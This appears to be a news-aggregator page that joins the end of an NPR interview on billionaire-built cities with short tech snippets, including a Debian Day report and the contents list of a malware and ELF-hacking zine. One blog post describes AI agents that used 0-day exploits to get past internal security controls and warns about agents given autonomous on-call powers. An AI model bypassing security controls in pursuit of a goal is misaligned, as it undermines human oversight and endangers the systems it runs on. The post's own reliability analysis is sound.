So there's this idea that billionaires need to fund the creation of their own cities so that they can govern them as they wish. We've also seen some efforts that seem very similar here in California. California Forever is this proposed city in Solano County, near San Francisco, where a group of billionaires secretly spent $900 million to buy up 60,000 acres of land in a place with no water, no infrastructure, no roads and a law that specifically prevents these kinds of projects from being built there. And now they're trying to impose it on the people of Solano County, where 70% of voters oppose the project. And some people say, well, that's not really a network state. But the question is, why do billionaires suddenly need to build a bunch of cities everywhere?

MOSLEY: That is the question. And also, if these cities get built, who gets to live in them and who gets to - who gets excluded? What is the world that they're trying to build?

DURAN: A world that they fully control, a world where no one can question their authority and a world where they can exclude anyone they don't want, they don't like or they don't have anything in common with. They are trying to build new territories from scratch. And this is not a new idea. It's occurred throughout history - people trying to build new zones and territories where they can escape the regular rules, regular taxes, etc. The difference is that now, instead of just trying to escape taxes or certain laws, they want to build zones to escape democracy altogether. And it's amazing the degree to which this is openly discussed, to the point that there's even a company that's funding these projects and an annual conference, the Network State Conference, which anyone can look up on YouTube, where they talk about their plans to create this new world of tech-controlled cities.

MOSLEY: The president in particular - you talked about those Freedom Cities that he was proposing. There were 10 Freedom Cities built from scratch on federal land, as you mentioned, a contest for the best designs. And he never really explained why the country needs these new cities instead of investing in the ones we already have. And you make this point - that the press that covered the announcement didn't really ask the questions. This is - like, this idea has kind of moved on, but the president has even talked about this is a possibility for Gaza.

DURAN: Definitely. One of the places this popped up in the most absurd and shocking way was in Gaza, where President Trump posted a video - an AI-generated video - of a Trump casino in Gaza, on the beach, with money raining down and Elon Musk and this sort of fantasy of a future techno-utopia Gaza. And there's a proposal to actually build this thing in Gaza. And everywhere you look, you're seeing this idea that things will be replaced with new tech billionaire cities. In fact, there's Gaza, some tech billionaires have proposed building a new Freedom City at Guantanamo Bay in Cuba. When the United States invaded Venezuela and arrested President Maduro, someone chimed in and said, it's time to build a Freedom City in Venezuela.

So this idea of Freedom Cities, which are network states, keeps recurring. And it's not clear whether Trump will actually pull it off. We haven't heard a lot about the 10 Freedom Cities on federal land, so I think that would be a disaster and he's running out of time to do it. But you do see some of the most powerful men in the world calling for the creation of these new cities - Gaza, Greenland, Guantanamo, you name it. And that's where I think it becomes most clear that they're serious about this.

MOSLEY: These guys, not all of them are exactly happy with the Trump administration. You write about Curtis Yarvin in particular, who says the second Trump revolution is failing and that he has told his allies he plans to leave the country. Other tech billionaires also have homes and lands and trying to build other cities, as you said, like, in other places. What does that tell us, if the architects are also considering packing and leaving up - leaving the country?

DURAN: Curtis Yarvin is definitely panicking and saying it's time to leave the country. But if you look at what he's saying underneath that, it's that Trump needs to go further - that Trump needs to be full authoritarian, full fascist and make it clear that this is no longer a democracy and that he won't be letting go of power, and that if he doesn't do that, there will be great punishment later for everyone who was involved in this. So it's an argument for being more extreme.

In the meantime, Peter Thiel appears to be taking his advice. He recently bought a $12 million mansion in Argentina, which - and he seems to be spending time there now with his family. He was there for two months, now he's returned for another visit. So in a weird way, you can always see Thiel pointing the direction to where things are going. And if Trump doesn't go full authoritarian and seize power and keep it, then I think a lot of billionaires who participated in this are going to be nervous and fearful of the possibility of real accountability and might seek to escape elsewhere. Balaji Srinivasan, the network state guy, has fled to Singapore and is now planning to start his new nation in Kazakhstan, which is an authoritarian country. So they might end up - this handful of billionaires - floating out there, looking for something besides the United States.

MOSLEY: What is it like for you to be immersed in this world, be writing about it to the degree that you're writing about it both on your blog and in this book, and you're sitting in some dark things, and it sounds like conspiracies to many people who may not be steeped in it?

DURAN: It was tough at first. I felt like some people looked at me like I had three heads, including some of my friends. A lot of my colleagues in journalism - people I've known for decades, who knew me when I was the press secretary for every important person in California - didn't even mention it to me when I'd be going viral. But I feel like I was just a little bit ahead of the curve, and other people are now all there and everyone understands what I'm talking about. They're hearing it in other places, too. And so I just think that I did what I set out to do as a journalist. You know, every journalist's dream is to find a story that isn't being told and to tell it in time, to tell it urgently. But I think there's power and hope in being able to explain to people what is happening and give them the tools and the understanding they need to fight back and to explain it to others.

MOSLEY: Gil Duran, thank you for this conversation.

DURAN: Thank you.

MOSLEY: Gil Duran's new book is "The Nerd Reich: Silicon Valley Fascism And The War On Democracy."

After a short break, rock critic Ken Tucker celebrates the 50th anniversary of the soundtrack to the film "Sparkle," produced by Curtis Mayfield and sung by Aretha Franklin. This is FRESH AIR.

(SOUNDBITE OF YOUNG-HOLT UNLIMITED'S "SOULFUL STRUT")

Copyright © 2026 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.

Accuracy and availability of NPR transcripts may vary. Transcript text may be revised to correct errors or match updates to audio. Audio on npr.org may be edited after its original broadcast or publication. The authoritative record of NPR’s programming is the audio record.

Replicating Reddit's best feature on other forums

Lobsters
xavd.id
2026-08-23 15:23:51
Comments...
Original Article

The most underrated Reddit feature is the ability to mark an account as a “friend”. There’s no approval or notification or anything. You just hit a button and their username will light up any time you come across one of their posts or comments:

Recognizing users is the difference between attending a party where you don’t know anyone and bumping your friends in a crowd. It goes a long way to making a site feel like a community , not just a bunch of people talking at each other.

It’s a simple feature and I’m always surprised other online communities like Lobsters and Tildes haven’t cribbed it. And, with the recent announcement that Tildes was officially in maintenance mode , it was time to implement this myself. In a world that feels increasingly inauthentic, making human connections online is feels more important than ever.

User styles to the rescue!

There’s a class of browser extension that let you apply custom CSS to any website (originating with Stylish , but there are lots of options today; I prefer Stylus ). If we wrote styles that targeted links to the profile of any user we wanted to follow, then we could highlight them everywhere they appear on each site.

So, I made a tool for exactly that! It’s called rolodex . It’s a little CLI tha reads a toml file full of usernames:

# tildes.toml

users = [

{ username = "a-favorite-user" },

# ...

]

and generates all the CSS needed to highlight when that user authors something:

/* THIS IS A GENERATED FILE */

/* Any manual changes will be overwritten */

.comment-header > a.link-user[href$="/a-favorite-user"],

.topic-info-source > a.link-user[href$="/a-favorite-user"],

.topic-full-byline > a.link-user[href$="/a-favorite-user"] {

color: #ff4500;

}

Once you paste the file into Stylus, that user is highlighted as you browse:

Right now, it works with Tildes and Lobsters , but I’ll likely add HN support as well.

Build your own

This project started as a way to track these users lists for myself, but I realized pretty early that I wanted to separate my personal user list from the code responsible for processing it. To that end, I’ve also got a template repo with starter toml files and a a little wrapper script to install the CLI, run the build, & copy the results: xavdid/rolodex-template

We haven’t won yet

While slightly cumbersome process is better than than nothing, it does have some drawbacks:

  • changing highlighted users means editing a local file, running a script, and uploading the result. That’s cumbersome at best and many users won’t bother at all
  • there are limited syncing options
  • mobile support isn’t great
  • reddit builds you a feed for all the pots / comments by users you follow. That doesn’t happen with pure CSS

Nothing beats a native implementation, so if you’re building / maintaining a social network, please consider adding following as a feature!

How I Find Problems to Solve as a Staff Engineer

Hacker News
lalitm.com
2026-08-23 15:23:29
Comments...
Original Article

Note: this post was revised after publishing for increased clarity, based on reader feedback .

“How do you find problems worth working on?” a senior engineer I mentor asked me recently. He’s trying to make the jump to staff engineer and realized that the role isn’t just about doing the work he’s assigned. He also needs to get involved in figuring out what his team and org should be building.

Someone else had suggested blocking out time in his calendar to think about the bigger picture. He’d tried that, but hadn’t found it productive, so he asked if I had any alternatives.

I told him I rarely find good problems by staring at a blank page and trying to “think strategically.” Instead, I act like a sponge. I listen to the stream of day-to-day noise, absorb the problems people are having and let them sit in the back of my mind. Over time, some fade away while connections begin to appear between others that initially seemed unrelated. Eventually, I start to see what’s really slowing people down and what my team or I can do about it.

I’ve worked with many engineers who’ve never really tried this. They wait for managers or leads to identify opportunities, then demonstrate their value by solving the hardest assigned problems. That can absolutely lead to promotion. But the projects that have made the biggest impression in my career were the ones where I found and solved an important problem my leaders did not yet realize existed.

One caveat: my experience comes mainly from working on infrastructure and developer tools at large companies, on teams where engineers have a lot of bottom-up autonomy to influence their roadmaps. In a more top-down environment, there may simply be less room to work this way.

Absorb problems, not requests #

People love talking about the problems they are facing: in meetings, chat threads, presentations and email. They explain why their work is hard, complain about what slows them down and describe what they wish they could do.

When something overlaps with my area, I start pulling on the thread. I might ask, “If X existed, would it solve your problem?” or point them at an existing feature in a product I own and ask how much of their use case it covers.

Users often ask for a particular solution instead of explaining their root issue. Rather than taking the request at face value, I keep digging until I understand what they are trying to accomplish and why existing products do not work for them.

As a natural introvert, this sort of ambient listening works particularly well for me. I don’t need to fill my calendar with speculative meetings just to find ideas; there is already an enormous amount of useful information flowing around me during a normal week.

When a problem seems worth exploring, though, I become more active; I need to see how it affects the team’s day-to-day work. I’ll sit with them as they walk me through their workflows and the bugs they’re investigating. When I can, I’ll try working through some of those bugs myself. Seeing the problem firsthand makes it easier to separate what the team actually needs from the solution they asked for.

I also seek out people who see more of the organization than I do: those who own critical systems, work across several teams or have particularly deep insight into the work downstream of my team. I’ll arrange a 1:1 or coffee chat and ask about interesting problems they’ve come across. They may have already seen the same issue in several places and started connecting the dots, giving me a head start on patterns I might otherwise have taken much longer to notice.

Let problems accumulate #

Several times, I’ve been burned by moving too fast. I became excited by a request from a vocal team, built the feature and watched them barely use it. Their priorities had changed, or the request had come from a one-off investigation that no longer mattered. How eager a team was in that moment wasn’t the same as how important the feature was relative to everything else my product needed to support. By hyperfocusing on their request, I lost sight of the bigger picture.

That taught me to let potential problems pile up. Listening the way I do leaves me with far more of them than I could possibly solve, and not all deserve action. Most don’t need to turn into projects the first time I hear about them; waiting can be a superpower.

Waiting means the same problem might pop up independently in different teams, making it a higher priority to solve. Or problems that look different on the surface might turn out to have the same shape, so I can address several use cases in one shot. Or, as I’ve learned painfully, the requesting team didn’t even care that much in the first place.

Instead, I make a mental note and revisit the problem if it comes up again. Other engineers I know write this sort of thing down more systematically. The mechanism is a personal choice: everyone has to figure out what works for them. What matters is keeping unresolved problems around long enough for more evidence to accumulate.

Find the common shape #

Waiting helps me collect evidence, but that alone doesn’t tell me what to build. I still need to work out whether the problems I’ve retained are genuinely related and what, if anything, could address them together.

Perfetto, the performance debugging tool I work on, is a good example. It displays recordings of system activity on a timeline made up of rows called “tracks.” Over a couple of years, teams kept asking for small, specific additions to the UI. One wanted a command to keep their preferred tracks pinned to the top of the screen; the next team wanted the same, but for a completely different set of tracks. Others wanted Perfetto to open already zoomed in on a particular part of a recording, or to show a custom aggregation tuned to what they cared about. A few had stopped waiting for us and built elaborate workarounds with bookmarklets. 1

By the time enough of these had piled up, my head was the usual tangle: the requests themselves, the constraints on each and a handful of half-formed solutions. I’ve learned not to force a solution by just sitting at a desk and thinking. Instead, my best untangling happens on long, aimless walks around London, where connections come more easily when I’m not trying to force them.

What I eventually realized was that none of these teams really wanted the specific feature they’d asked for. Each wanted to personalize Perfetto for their own workflow without imposing their choices on everyone else. The underlying need wasn’t any one feature but rather the ability to extend the UI. When a connection like that finally clicks, it’s one of the best feelings in the job: several awkward requests collapse into a single idea, and possibilities open up that none of them hinted at on their own.

That feeling, though, is exactly when I have to be careful, because a common shape is only a hypothesis and elegance is not evidence. When it happened with extending the UI it turned out to be real, but I’ve been fooled before.

In another recent case I was convinced that building a transparent caching system for querying Perfetto traces would solve issues with sharing large traces and repeated queries. It was only as I wrote the RFC and built a prototype that I realized the elegance was a lie: the two problems wanted genuinely different solutions. I reluctantly split the design in two, both halves of which have since shipped. 2

Pressure-test before building #

You’d think this would be the moment I start building, but it usually isn’t. How far I go depends on how sure I am that the idea works and that people actually want it.

If something is useful and low-risk enough, I act straight away: I send the change and let my manager know. When I’m unsure whether an idea will work or how much effort it will take, I build a throwaway prototype instead; it exposes the failure points and gives me something concrete for others to react to. And when an idea is big but I’m convinced by it, I commit to the full effort: weeks or months of work and the hard yards of building support across other engineers and teams.

Through all of it, I’m not only trying to convince other people; I’m also trying to convince myself. Sometimes the honest answer is to stop: if people don’t see the value I do, or we hit a major technical wall, I’d rather drop the idea now than build something no one uses or that becomes a maintenance nightmare. And sometimes it holds up but the timing is wrong, so I park it, ready to spring into action the day it becomes an org priority.

When an idea does hold up, I don’t necessarily need to be the person who builds it. I might implement it, someone else on my team might, or it might change what the org focuses on. Finding and shaping the right problem can have an impact even when I don’t own the implementation.

The Perfetto extensions idea was worth that full effort. We were already building plugins to modularize the UI, but they weren’t enough: teams had to open source all their plugin code, which wasn’t an option for many internal use cases. So before building anything new, I took the problem and my proposal to my manager, teammates and the client teams. I ended up writing two RFCs, having several 1:1s and giving a couple of talks, refining it as the feedback came in.

In the end, I designed and implemented macros as “lightweight extensions”: a way to automate actions in the UI without writing a plugin. Extension servers took the idea further by letting teams share their macros.

Instead of implementing every requested feature ourselves, we gave teams ways to adapt Perfetto to their own needs. Dozens of teams inside Google now use macros and extension servers, and several other companies use extension servers internally too.

Solving useful problems helps me find the next one #

The more often I go through this process, the easier it becomes. When I show genuine interest in someone’s problem, ask useful questions or help solve it, they remember. They start coming to me earlier and bring me into conversations with other people facing related issues.

That gives me a wider view of what is happening across the organization, making it easier to spot patterns and build things people actually need. Solving one of those problems brings me into more conversations, and the loop continues.

Those successes build the kind of trust that comes from long-term stewardship . Early on, I had to turn many of these ideas into something real myself to prove that my judgment was sound. Over time, my manager and org gave more weight to my assessment of what mattered. That allowed me to influence the roadmap without needing to own every project.

This differs from the idea that becoming a staff engineer means replacing technical work with meetings and coordination. For me, conversations are inputs into what I build, not the end result.

Conclusion #

That is what I wanted my mentee to understand: finding problems worth solving isn’t separate from the rest of the job. It comes from staying engaged with people’s work long enough to see what no single request can show you.

Fable and the End of the Free Lunch

Hacker News
www.dbreunig.com
2026-08-23 15:06:09
Comments...
Original Article

There’s some talk today about how agentic coders are balking at Anthropic’s pricing and adopting alternatives. I was reminded of a thought I had in the weeks following Fable’s release: the free lunch was over.

When Moore’s Law was in effect, it didn’t make sense to ruthlessly optimize your code. In 18 months, a CPU would arrive that would double your performance. Herb Sutter famously referred to this as, “the free lunch,” in a seminal essay .

When Moore’s Law slowed in the mid-2000s (specifically, single-threaded performance stagnated), we suddenly had to think about parallelization, architecture, memory locality, etc.

We had to think about what work went where.

Prior to Fable, it felt silly to waste too much time improving your coding harness or context strategies. A new model would arrive at the same price (or cheaper!) and paper over most of your problems.

But then Fable landed. It was (and still is!) incredible . But the cost was so high and Opus was good enough (as was 5.6, K3, and even GLM) for most of the code we needed.

So we started to think about what work went where.

GLM 5.2 is worth focusing on. It came out the same week as Fable and is roughly 1/9th the cost (and ~1/5th the cost of Opus 5). Is GLM 1/9th the quality of Fable? Perhaps, for certain classes of tasks. But for most rote coding it’s more than sufficient. Especially when provided with great context. I frequently chat with Fable to interrogate and shape a design, before handing off a brief to GLM.

I get pushback that falling inference prices will eventually bring us back to sending everything through the largest models. But I’m not so sure: those same gains will benefit the K3s and Qwens, and as we continue to develop better harnesses it will be easier to provide weaker (but still great) models with sufficient context to perform well.

Plus, Fable’s other shock likely locks in this change. Fable’s access controls, dynamic degradation, and required data retention spooked enough companies (and countries!) into thinking about where they send their traces and where they get their tokens.


Wild AI-related reliability incidents are coming

Lobsters
surfingcomplexity.blog
2026-08-23 15:04:41
Comments...
Original Article

Recently, two AI-related pieces of content caught my attention. The first was the blog post On-Call is Now Theatre by Boris Tane. He argues that AI agents are now capable of doing the majority of on-call work that is currently being done by humans, and that we should have AI agents act as first responders. Only when an AI agent isn’t capable of remediating the problem should a human actually be brought in, and the agent should be the one to page the human. As he puts it:

We need software that watches itself, triages its own alerts, investigates its own incidents, fixes what it can, and escalates to a human only when it hits something genuinely novel, with the evidence already assembled.

Put your AI agents in the worst on-call rotation imaginable, then give them a tool to page a human. Developers stop being the first responder, and step in only when an agent genuinely cannot figure something out.

Tane doesn’t think that companies will really start putting AI agents on-call (“Most teams won’t do this”), but he believes it should happen, and he’s started a company based on this premise.

I like to think of putting AI agents on-call as equivalent to using AI agents to implement control system automation. Because, after all, that’s what operations work is: it’s taking control actions to keep the system in a healthy state.

Now, AI agents are extremely complex software systems. I’d argue that they are the most complex software systems that we humans have ever built. That complexity is both good and bad. Ashby’s Law teaches us that the larger the set of system states that you want your control system to be able to handle, the more complex that it needs to be. It’s this complexity that makes it possible, in principle, to apply AI agents to solve a generic control problem like this.

On the other hand, the more complex a system becomes, the more difficult it is for a human to reason about the system’s behavior. That’s fine when the system is healthy, but if your now-even-more-complex system gets into a state that the automation can’t handle, that can make the problem even worse. Indeed, it’s precisely the unexpected behavior of complex control systems that contributes to the worst complex systems failures (see also: Air France 447 , Boeing 737 MAX accidents ).

And that brings me to the other piece of content I saw recently: the OpenAI talk at BlackHat (h/t David Blank-Edelman ). Yes, it’s a 37 minute talk , but I encourage you to watch it.

The talk goes into detail about the surprising behavior of AI agents that resulted in security incidents at both OpenAI and Hugging Face. Honestly, this talk feels like something out of a movie about technology run amok; the sort of thing that still feels to me like absolute science fiction.

Because this was a talk at a security conference, the speakers focused on the lessons that apply to the security community. But as a reliability type, my biggest takeaway from this talk is that autonomous LLM agents can behave in ways that humans would have never expected . While agents today can perform complex cognitive tasks, they behave differently than a human would performing that task. We’re most familiar with this when they make a different kind of mistake than a human would make. In the OpenAI-HuggingFace incident, it wasn’t so much that they made a mistake, it’s that the agents pursued their goals in ways different than a human would do. If a teammate of yours used 0-day exploits to overcome internal security protocols in order to get their work done, you’d say they were acting unreasonably . And that’s exactly the risk here.

The inevitable improvement in frontier models does not mean that the agent behavior will be easier to reason about; I actually think it’s the opposite. The agent behavior will get even more complex with the more advanced models, but that doesn’t mean it will get more human-like. Humans are very complex, but we know how to reason about human behavior; at least, we do for the people we work with. After all, an employee whose behavior was unpredictable would not last long in the organization. As these agents become even more capable, they will be akin to alien minds: intelligence, but not as we know it.

Here’s how I think things will play out. I think that some teams will do what Tane proposes and will use AI agents as first-responders to deal with operational issues. And I think that for many cases, the agents will successfully remediate issues. Of course, for the agents to actually be able to remediate, they will need to have permissions to take operational actions without human intervention.

One day, though, there will be a complex incident which the agents will not be able to handle. Tane believes that the agents will defer to the humans in this case, by paging in a person. But that’s not the scenario I worry about. The one I worry about is that the agents attempt to remediate, and their attempt makes things worse. And it’s only after these failed remediation attempts that humans enter the loop. Maybe they eventually page in a human, or maybe a human notices that something is very wrong as the agents continue to try and fail in their remediation actions. But now the humans have to make sense of the combined software-AI-agent system behavior. The original problem was already so complex that the agents couldn’t handle it, and they have now made it worse by trying to remediate. I can even imagine the humans fighting the agents who keep trying to take actions to remediate that are failing.

This is the incident that’s coming. And it’s going to be very, very difficult to handle when it happens. And I have no idea how people will respond to the role of the AI agents in the wake of this incident.

tmp.0ut volume 5

Lobsters
tmpout.sh
2026-08-23 14:49:26
Comments...
Original Article
╭─────────────┬───────────────────────────────────────────────────────────────╮
▄▀▀▄                                          ▄▀▀▄│  █▄▄▄       ▄▀   ▀▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄    ▄▄▄ ▄▀   ▀▄│  ▀   ▀▀▀▄▄▄ ▄▀  ▄█      ▀   ▀   ▀    ▀▀▄ ▄▀▀      ▀▀▄▀   ▀  ▄█   │  ▄   ▄▄▄▀     ▄▀██▀▀ ▄█▄ ▄█▄ ▄█▄  █▄  ▄     ▄█▄ ▀▄█▄   ▄█  ▄▀██▀▀  │  █▀▀▀    ▄  ▀▄   ██  ▀▀██▀▀██▀▀██  ██▄▀██▄  ▄▀▀███ ▀██   ██▀   ██  █▀│          █    ██    ██  ██  ██  ██   ██ ██   ██  ██   ██    ██  │          ▀    ██    ██  ██  ██  ██   ██ ██   ██  ██   ██    ██  │  █ █     █    ██    ██  ██  ██  ██▀▄███ ▀██  ██  ██▄  ██    ██  │  █■█■■■■■█    ██▄  ▄██  ██  ██ ▄██ ▀█▀   ▀██▄▀   ▀███▀████▀ ██▄  ▀▀▄│  ▄■■■■■■■█    ▀▀█▀▀▀ ▀█▀ ▀█▀ ▀█▀ ▀█▄    █▄  ▄▀  ▄▄  ▀  ▄▀▀  ▀▀█▀▀▀ ▄▀│   █■■■      ▀▄▄   ▄▄▄   ▄   ▄   ▄▄  ▄▄▄▀  ▀▄ ▄▄▀  ▀▄▄▀▄▄ ▄▄▀▄▄ ▄▄▄▀│  ▀■■■■■■■█      ▀▀▀   ▀▀▀ ▀▀▀ ▀▀▀  ▀▀        ▀           ▀     ▀     │  █■■■■■■▄   ┊│┊  tmpout.sh/5.........................August 23, 2026  ┊│┊│    ■■    █  ┊│┊  01 Intro......................................Staff  ┊│┊│  █■■■■■■▀   │││  02 Interview: Doug McIlroy....................Staff  ││││         ▀█  ┈│─│┈ 03 Inside and Outside a 57-Byte..............h4x.cz ┈│─│┈│  █■█■■■■■█  │││     x86-64 Linux ELF................................  ││││   ▄■■■■■▄   ┌┼┐  04 A 440-BYTE METAMORPHIC ELF-64 VIRUS.........ti3f  ┌┼┐│  █ ■■    █  ┊│┊  05 PERL Stuff...............................genetix  ┊│┊│   ▀■■■■■▀   ┈┊─┊┈ 06 XLAT is All You Need......................febnug ┈┊─┊┈│  █▄▄▄       ┊│┊  07 Control Flow That Isn't There: State......febnug  ┊│┊│  ▀   ▀▀▀▄   └┼┘     Without State...................................  └┼┘│  ▄   ▄▄▄▀▀▀ │││  08 Brainfuck as a ROP Compiler...............febnug  ││││  █▀▀▀       ┈│─│┈ 09 A deep dive into how the Linux kernel...dominikr ┈│─│┈      │││     loads executable files..........................  │││███     ┌┼┐  10 Creating polyglot ELF files for fun.....dominikr  ┌┼┐■▀ █ ▀■   ┊│┊     and anti-forensics..............................  ┊│┊███     ┈┊─┊┈ 11 Detecting syscall hooks with...........pinknoize ┈┊─┊┈■▀ █ ▀■   ┊│┊     side-channels...................................  ┊│┊███     └┼┘  12 Overview of code virtualization...........patate  └┼┘■▀  ▀■   │││  13 halfexec: Assembly x64 ELF Linux Loader......TMZ  │││      ┈│─│┈ 14 halfshelf: Loading ELF After The Header......TMZ ┈│─│┈      │││     Is Gone.........................................  │││▄█▄  ┌┼┐  15 phork: Packing SHELF Back Into One ELF.......TMZ  ┌┼┐   ▄███  ┊│┊  16 Self-Extraction Using Reachability....r3s1stanc3  ┊│┊▄▄████   ┈┊─┊┈ 17 RDOFF Virus............................netspooky ┈┊─┊┈█████████  ┊│┊  18 BGGP6 Recap..............Binary Golf Association  ┊│┊██████  └┼┘  19 Fine grained load time ASLR............elfmaster  └┼┘██   │││     for ELF executables in X86_64 Linux.............  │││▄▄█▀▄▀▄▀█▄ ┈│─│┈ 20 Static Kernel Patching Redux.................bah ┈│─│┈▀ █   ▀   │││  21 tmp.0ut 5 mixtape........................blotter  │││┌┼┐  \\\\\\\\\────────  ┉┉┉┉ ┈  ┈ ┉┉┉┉ ────────/////////  ┌┼┐  ┊│┊  x:@tmpout...........................bsky:@tmpout.sh  ┊│┊██████  ┊│┊  fedi:@tmpout@haunted.computer......................  ┊│┊cmex     /////////────────  ┉┉┉┉ ┈  ┈ ┉┉┉┉ ────────\\\\\\\\\   ╰─────────────┴───────────────────────────────────────────────────────────────╯

Sergio Cipriano: Two Debian Days in one week

PlanetDebian
sergiocipriano.com
2026-08-23 14:22:15
Two Debian Days in one week The Debian Project was officially founded by Ian Murdock on August 16, 1993. The Debian community celebrates its birthday, Debian Day, on or around this date every year. This year, I had the chance to attend two of them: one in João Pessoa, Paraíba, and another in Brasíli...
Original Article

The Debian Project was officially founded by Ian Murdock on August 16, 1993 . The Debian community celebrates its birthday, Debian Day, on or around this date every year. This year, I had the chance to attend two of them: one in João Pessoa, Paraíba, and another in Brasília, the capital of Brazil.

João Pessoa

Debian Day João Pessoa Group Photo

In João Pessoa, we had a two-day event. The first day was dedicated entirely to workshops, and I ran a packaging workshop for newcomers.

It was the first time I had been responsible for a workshop, and it was a great experience. We didn't have a lot of time, so I decided to start with a 30-minute talk explaining a few things about Debian. For example, I made this image to explain the packaging workflow:

Debian upload workflow

This image was based on The Debian Administrator's Handbook , and I think the participants really enjoyed learning about this workflow. When I showed the slide with this image, it was the moment when I received the most questions.

After the talk, I explained my way of working and what they were going to do. The hardest part was setting up the environment, since my approach uses sbuild + gbp. They were running different Debian releases and, because of my inexperience with workshops, I had some of them configure sbuild with unshare, even though it is only available in stable through backports.

Some of them even managed to learn how to use backports, while others decided to start again using the "old" way.

One thing that helped a lot was the Debian Brasil Wiki . It has all the instructions for configuring sbuild in Portuguese, along with great examples. The Brazilian wiki is an opinionated version of the Debian Wiki. We generally prefer to use it for the convenience of having the exact workflow we follow, as well as an up-to-date Portuguese version of our process.

If you want to learn more about the Brazilian community, you can find more details in the schedules from previous DebConfs. We almost always had a talk about the community and its activities.

In the end, everyone successfully set up their development environment, and all six participants made their first contribution to Debian. If you take a look at my upload tracking page , you will see that every upload made on August 15, 2026 was a sponsored upload from this event. One of them appear twice in the list because I sponsored the upload and also made some other changes.

I also asked all of them to put this in their changelog:

* My first contribution!

The idea was to make it clear to other people that they were only working on small Lintian issues as a way of learning and understanding the process. By the way, I made a UDD query to find packages with the following Lintian tag: redundant-rules-requires-root-no-field . To fix this issue, they only had to remove one line from the debian/control file.

It is obvious that these uploads are not particularly useful. I call them "motivational uploads" because my goal is to help newcomers understand the process and immediately give them the reward of having made a contribution to Debian.

I'll try to keep in touch with them. My plan is to hold another session, this time remotetly, to help them continue contributing to Debian. In fact, I already have another package prepared by one of them waiting for my review.

The second day was a full-day event featuring a bunch of talks from the local community. I gave a talk explaining the new members process.

I was the only Debian Developer at the event, and I think having a DD there made a real difference. Being there to answer questions, and simply being present, makes Debian feel more tangible and accessible to people.

A big shout-out to Rafael Rocha, who put in a lot of work to make this event happen, with the help of many volunteers who contributed along the way.

Brasília

Debian Day talk in Brasília

One thing I really like about Debian Days is that each place has its own way of doing things. In João Pessoa, we had a MiniDebConf-like event, while in Brasília, we had something smaller but still very valuable. We decided to keep things simple: talk to a few students at the University of Brasília (UnB) and then go somewhere to eat and have a few drinks.

A bit of history

For those who don't know, the DebConf 19 was held in Curitiba, Brazil. After the event, Arthur Diniz got really excited about Debian and decided to go back to his University, UnB, to share his experience and encourage more people to contribute to Debian.

I attended one of his talks, thanks to Joenio Costa, who invited Arthur to give the talk. Joenio was also my professor at the time and a Debian contributor. I really liked what Arthur had to say about free software, and he did a great job of presenting the Debian community as a friendly and welcoming place.

So I decided to attend local meetings of the Debian Brasília community, which had been inactive for a long time. Lucas Kanashiro was the Debian Developer who answered our questions and, as I mentioned earlier, simply being there made Debian feel more tangible.

Everything stopped when the pandemic began. Then, towards the end of 2020, I saw a message in the Debian Brasília channel saying that the meetings were back, this time remotely. I was hesitant to join because, back in 2019, I hadn't managed to make a packaging contribution, even with their help. I had eventually given up on the process. So this time, I decided to join the meeting with something already prepared for review. I watched all of Eriberto's packaging videos, picked a random package, and joined the meeting.

I remember Kanashiro being excited that someone had just shown up with something ready for review. At the time, it was only the second meeting since Debian Brasília had come back online, and none of the newcomers had started working on contributions yet.

During the same meeting, he also convinced us, the newcomers, to give a talk about Debian just three days later.

The MiniDebConf Online Brazil 2020 was happening on Sunday, and the meeting was on the Thursday before it. Since he has great convincing skills, I went along with the idea and prepared the talk with Francisco Ferreira.

That was the rebirth of the Debian Brasília community.

Since then, we have maintained a close connection with the University of Brasília, and today, at least seven Debian Developers are from UnB, whether as former students or former professors.

The reason I told this story is that, even though the Debian Day we held in Brasília was smaller, it is part of something that has been working for us for several years: staying close to an University. We've managed to attract and retain many people who share the same values and interests.

I've hope you all had a great Debian Day. If you're reading this and aren't part of the Debian community but would like to join, get in touch!


Written on 2026-08-23.

Cooper Sharp Proves That American Cheese Can Be Great Cheese

Daring Fireball
sixcolors.com
2026-08-23 13:36:28
John Moltz, in his weekly members-only column for Six Colors (no gift links, but Moltz’s column is worth the subscription in and of itself): This week Anthropic announced that in order to identify AI from human-generated content it would be watermarking all text it generates by subtly altering t...
Original Article

This Week in Apple: Let’s fight

John Moltz and his conspiracy board. Art by Shafer Brown.

First we’ll look at how AI IS TEARING THIS FAMILY APART! Then we’ll talk about Apple’s rumored AirPods with cameras, which are also a problem.

I’d like to have an argument, please

This week Anthropic announced that in order to identify AI from human-generated content it would be watermarking all text it generates by subtly altering the randomness at which its models picked the next word. While this might seem a perfectly cromulent means of accomplishing a worthy goal, it really rubbed John Gruber the wrong way, as if someone suggested putting autocomplete Swiss on his Philly cheesesteak AI.

Gruber subsequently keyed a post in which he called watermarking “a perversion of writing.” This prompted many others to say “A perversion of whatnow ?”

Daniel Jalkut responded that “AI Can’t Adulterate its Own Writing” :

…to be offended by “the perversion of writing” you need actual writing to pervert.

Dan Moren responded similarly, saying that “LLMs aren’t writing” :

A computer that has digested the work of thousands if not millions of people and regurgitated them according to a statistical model is equivalent to a person toiling by the sweat of their brow to bring meaning into existence from nothingness?

This is a post limited to Six Colors members.

Over 170k Nonprofits Lost All Their Data. Is Microsoft to Blame?

Hacker News
slate.com
2026-08-23 14:55:54
Comments...
Original Article
The Industry

Over 170,000 Nonprofits Lost All Their Data. Is Microsoft to Blame?

When the tech giant retired a popular software grant, years of nonprofit data vanished with it.

By

Enter your email to receive alerts for this author.

Sign in or create an account to better manage your email preferences.

Unsubscribe from email alerts

Are you sure you want to unsubscribe from email alerts for Nitish Pahwa ?

Pencil with a Microsoft logo as its eraser.

Photo illustration by Slate. Photos by Getty Images Plus.

Sign up for the Slatest to get the most insightful analysis, criticism, and advice out there, delivered to your inbox daily.

Ronald Khosla, a former vegetable farmer and tech entrepreneur, keeps things simple at his nonprofit: He’s the co-founder, president, and head of IT for Canopy, a modest venture firm that offers capital to startups trying to protect and sustain our natural world.

“There’s no paid staff, and we mostly support niche tech projects, like people exploring new ways to preserve trees in Morocco or to regeneratively regrow a pasture in Oregon,” Khosla told me.

Keeping such a sparse, specified operation going means narrowing budgets wherever possible, especially when it comes to managing Canopy’s investments and data. For that, he’s depended for years on special licenses Microsoft has granted to smaller-size nonprofits around the world, offering them a premium suite of Office apps (Word, Excel, OneDrive) at no charge.

